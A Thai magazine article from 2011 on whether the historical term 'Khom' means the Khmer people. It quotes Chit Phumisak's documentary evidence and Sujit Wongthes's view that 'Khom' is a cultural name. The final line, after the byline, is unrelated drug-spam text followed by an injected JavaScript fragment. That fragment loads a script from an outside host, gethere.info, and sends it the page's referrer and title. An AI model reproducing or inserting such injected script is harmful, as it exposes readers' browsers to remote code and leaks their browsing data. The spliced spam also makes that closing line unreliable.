มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ ที่ 13 พฤษภาคม 2554

“ไม่จำเป็นที่จะต้องไปพิสูจน์ว่าขอม ไม่ใช่เขมรให้วุ่นวายไปเปล่าๆ—”

จิตร ภูมิศักดิ์ เขียนบอกไว้ในงานเขียนเกี่ยวกับ“ขอม”ที่ค้นพบใหม่ แล้วพิมพ์รวมอยู่ในหนังสือ ข้อเท็จจริงว่าด้วยชนชาติขอม (ฉบับสำนักพิมพ์มติชน พิมพ์ครั้งแรก พ.ศ. 2547) แล้วจิตรยังเขียนบอกอีกว่า

ขอม หมายถึงชนชาติเขมรอย่างแน่ชัดมาแต่โบราณ, ปรากฏหลักฐานในเอกสารทางราชการสมัยสุโขทัย, อยุธยา และรัตนโกสินทร์, มิใช่ในนิยายนิทานปรัมปราอย่างเรื่องขอมดำดิน.

แม้ในนิยายโบราณของไทยที่ใช้คำว่า ขอม เรียกชาวเขมรในประเทศกัมพูชานั้น ก็เปนคำที่ใช้อย่างถูกต้องตามความหมายที่แท้จริงของความรับรู้ของคนไทยอยู่นั่นเอง, หาใช่คำที่เหลวไหลเข้าใจผิดไม่.

จิตร อธิบายว่า ขอมคือเขมร อย่างยืดยาวอีกว่า(ข้อความต่อไปจนจบเป็นของจิตร)

พระราชกำหนดเก่าสมัยศรีอยุธยา พ.ศ. 2042 ซึ่งกล่าวถึงการใช้กฎหมายบังคับทั้งชาวไทยในราชอาณาจักรและชาวต่างประเทศที่เข้ามาค้าขาย ก็มีเอ่ยถึง ขอม รวมไว้ในนั้นด้วย: 

“พะม่า ลาว มอ ขอม ไทให จีน จาม คุลา กะลาสี แขกพราหมณ์              แลตะนาว ปุ่น วน ฝรั่ง อังกฤษ วิลันดา ต่างประเทศทั้งปวงŽ” (กฎหมายเมืองไทย เล่ม 2, พระราชกำหนดเก่า บทที่ 15, หน้า 305).

ขอมในที่นี้ ไม่ว่าจะเปนพวกที่ตั้งรกรากหากินอยู่ในเมืองไทยถาวร หรือพวกที่เพิ่งเข้ามาค้าขาย ล้วนต้องเปนพวกเขมรเช่นเดียวกับในกฎหมายลักษณะอาาหลวงทั้งสิ้น, เพราะเรายังไม่เคยได้พบร่องรอยว่าในระยะ พ.ศ. 2042 นั้น มีประเทศขอมอื่นใดที่ไม่ใช่เขมรตั้งอยู่ในแถบแหลมอินโดจีนนี้.

(ซ้าย) หนังสือข้อเท็จจริงว่าด้วยชนชาติขอม ฉบับสำนักพิมพ์มติชน พิมพ์ครั้งแรก พ.ศ. 2547 (ขวา) ภาพวาดชาวเขมรโบราณถือหอยสังข์ โดยจิตรกรจีน (ภาพพิมพ์ในหนังสือ Che Kong Tu ไม่ทราบปี-ปัจจุบันอยู่ในหอสมุดแห่งชาติ กรุงปารีส)

ในสมัยกรุงรัตนโกสินทร์ เมื่อครั้งซ่อมวัดพระเชตุพนครั้งใหญ่ระหว่าง พ.ศ. 2374-2381, ได้มีการเขียนภาพแสดงชาวต่างประเทศพร้อมด้วยคำโคลงอธิบายกำกับภาพไว้.

ในบรรดาภาพและโคลงอธิบายดังกล่าว มีภาพที่แสดงรูปชาวเขมรด้วย แต่เรียกว่า “ขอม”Ž, ไม่ได้เรียกเขมร.

คำโคลงก็บอกไว้ชัดเจนว่าหมายถึงชาวเขมรแห่งกัมพูชา ดังนี้:

ขอมขำดำสะดวกแท้            ธรรมดา

ถือพุทธเพียรตามโอ                        วาทไหว้

กัมพุชประเทศสิมา                           เมืองทิศ  บูรพ์พ่อ

ผโอนภพนบนอบไท้                        ถิ่นสยาม ฯ

นุ่งปูมไป่พิศแม้                     เหมือนถม  ยานา

ใส่เสื้อสีครามลออ                            โอ่แท้

แพรวนเยื่อไม้สม                              เคียนรอบ  พุงพ่อ

ผมกระทุ่มไว้แปล้                             เปล่าไร ฯ

หลวงลิขิตปรีชา แต่ง

(ประชุมจารึกวัดพระเชตุพน เล่ม 2, หน้า 481)

คำว่า “กัมพุชประเทศสิมา  เมืองทิศ  บูรพ์พ่อ”Ž นั้นบอกชัดว่าคือประเทศกัมพูชา อยู่ทางทิศตะวันออก, และยังมีบอกต่อไปว่าเปนเมืองประเทศราชของสยาม (ผโอนภพนบนอบไท้ ถิ่นสยาม)

คำที่ว่า “นุ่งปูมไป่พิศแม้  เหมือนถม  ยานาŽ” (นุ่งผ้าปูม  ถ้าไม่พินิศพิศดูให้ดีแล้วจะหลงคิดว่าเปนผ้าเคลือบถมลงยา เพราะมีลวดลายมันวาบ),

นี่อีกคำหนึ่งที่ยืนยันความเปนเขมรกัมพูชา. ผ้าปูมนั้น เปนผ้าทอของเขมร; เปนผ้าไหม, ทอยกดอกเปนตาถี่ๆ อย่างพิสดาร. ในสมัยนั้น เปนที่นิยมกันมากในหมู่ผู้ดีชาวไทย. ในวรรณคดีมักกล่าวถึงผ้าปูมของเขมรเสมอ เช่น: “นุ่งปูมเขมรใหม่วิไลเหลือ…”Ž (เพลงยาวบัตรสนเท่ห์ประจานจมื่นราชามาตย์, พระมหามนตรี [ทรัพย์] แต่งในสมัยรัชกาลที่ 3 ยุคเดียวกับการซ่อมวัดพระเชตุพน).

จะเห็นได้ว่า ขอม ในสมัยรัชกาลที่ 3 แห่งกรุงรัตนโกสินทร์ ก็หมายถึงเขมรแห่งประเทศกัมพูชาอีกเช่นกัน.

จารึกวัดศรีชุม สมัยสุโขทัย ราว พ.ศ. 1850-1875 ก็ดี;

กฎหมายลักษณะอาญาหลวง สมัยศรีอยุธยา พ.ศ. 1974 ก็ดี;

พระราชกำหนดเก่า พ.ศ. 2024 ก็ดี;

โคลงอธิบายภาพชาวขอมที่วัดพระเชตุพน, คราวรัชกาลที่ 3 ซ่อมใหญ่ เมื่อ พ.ศ. 2374-2381, หลวงลิขิตปรีชาข้าราชการในกรมพระอาลักษณ์เปนผู้แต่งก็ดี;

ทั้งหมดนี้ล้วนเปนเอกสารที่เขียนขึ้นในวันเวลานั้นๆ และใช้คำว่าขอมเรียกชื่อชาวเขมรทั้งภายนอกและภายในรัฐกัมพูชา ตามความหมายของคำในขณะนั้นๆ, มิใช่เปนตำนานที่เขียนขึ้นภายหลังวันคืนนั้นๆ โดยมีคนรุ่นหลังเขียนขึ้นเอง แล้วยกชื่อขอมให้ใครๆ เอาเองตามชอบใจ; ทั้งเอกสารบางฉบับก็เปนกฎหมายที่บังคับใช้มาตั้งแต่วันคืนที่ตราขึ้น สืบต่อมาจนกระทั่งได้ค่อยๆ ยกเลิกไปเมื่อในราวรัชกาลที่ 6 แห่งกรุงรัตนโกสินทร์, ซึ่งเปนไปไม่ได้เด็ดขาดที่กฎหมายฉบับหนึ่งจะเปลี่ยนความหมายบังคับเกี่ยวกับชนชาติหนึ่งไปให้แก่อีกชนชาติหนึ่ง; ฉะนั้น เอกสารเหล่านี้, คำว่า ขอม และความหมายของคำว่าขอมในเอกสารเหล่านี้, ที่หมายถึงเขมรโบราณ และเขมรรุ่นใหม่ในประเทศกัมพูชา, จึงเปนสิ่งที่เราจะต้องเชื่อฟังเปนหลักอันชี้ขาดตายตัว.

ไทยโบราณเรียกเขมรโบราณว่าขอม มาอย่างน้อยก็ตั้งแต่สมัยที่เขมรคนที่เปนโขลลำพง เจ้าเมืองสุโขทัย รบกับพ่อขุนผาเมืองและพ่อขุนบางกลางทาว ราวก่อน พ.ศ. 1800 โน้นแล้ว, และก็ยังคงเรียกต่อมาจนถึงสมัยกรุงรัตนโกสินทร์. ตราบจนปัจจุบันนี้ ชาวไทยจึงเลิกใช้คำว่าขอมไปเด็ดขาด หากเรียกชาวกัมพุชว่า เขมร ตามคำที่เขาเรียกตัวของเขาเอง.

แต่เราก็ยังไม่ลืมคำว่าขอม, ยังมีความรับรู้กันอย่างถูกต้องทั่วไปว่า ขอม นั้นคือ เขมรโบราณ.

จากหนังสือ แผนที่ประวัติ ศาสตร์ และ แผนที่วัฒนธรรม ของ (สยาม) ประเทศไทย พิมพ์ครั้งที่ 2 โดย กองทุนเผยแพร่ความรู้สู่สาธารณะ พ.ศ. 2551

“ขอม” ไม่ใช่ชื่อชนชาติเฉพาะ ฉะนั้นชนชาติขอมจึงไม่มีจริง

แต่ “ขอม”เป็นชื่อทางวัฒนธรรม เรียกวัฒนธรรมขอม แล้วใช้สมมุติเรียกคนบริเวณลุ่มน้ำเจ้าพระยาที่นับถือศาสนาพราหมณ์(ฮินดู) และพุทธคติมหายาน แล้วใช้ภาษาเขมรสื่อสารในชีวิตประจำวัน กับใช้อักษรเขมรในพิธีกรรมศักดิ์สิทธิ์

เช่นเดียวกับคำว่าแขก ใช้สมมุติเรียกผู้นับถือศาสนาอิสลาม คำว่าคริสต์ ใช้สมมุติเรียกผู้นับถือศาสนาคริสต์

ศูนย์กลาง“ขอม”ครั้งแรกอยู่ที่รัฐละโว้(ลพบุรี) หรือกัมโพช ต่อมาย้ายลงไปอยู่ที่อโยธยาศรีรามเทพ(ต่อไปคือกรุงศรีอยุธยา) แล้วเลื่อนขยายไปอยู่กัมพูชา หรือกัมพุช

ด้วยเหตุนี้ใครก็ตาม ไม่ว่า มอญ, เขมร, มลายู, ลาว, จีน, จาม, หรือ ไทย, ฯลฯ ที่นับถือศาสนาพราหมณ์(ฮินดู) และพุทธคติมหายานอยู่ในสังกัดรัฐละโว้-อยุธยา และรัฐกัมพูชาจะได้ชื่อว่า“ขอม”ทั้งนั้น

แต่คนทั่วไปในประวัติศาสตร์แห่งชาติของไทย มักเข้าใจต่างกันเป็น 2 อย่างว่า “ขอมไม่ใช่เขมร” และ “ขอมคือเขมร

สุจิตต์ วงษ์เทศ

(ปรับปรุงขึ้นใหม่จากแนวคิดเดิมของ ม.ร.ว. คึกฤทธิ์ ปราโมช)

fluoxetine classification buy tadapox in canadas.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;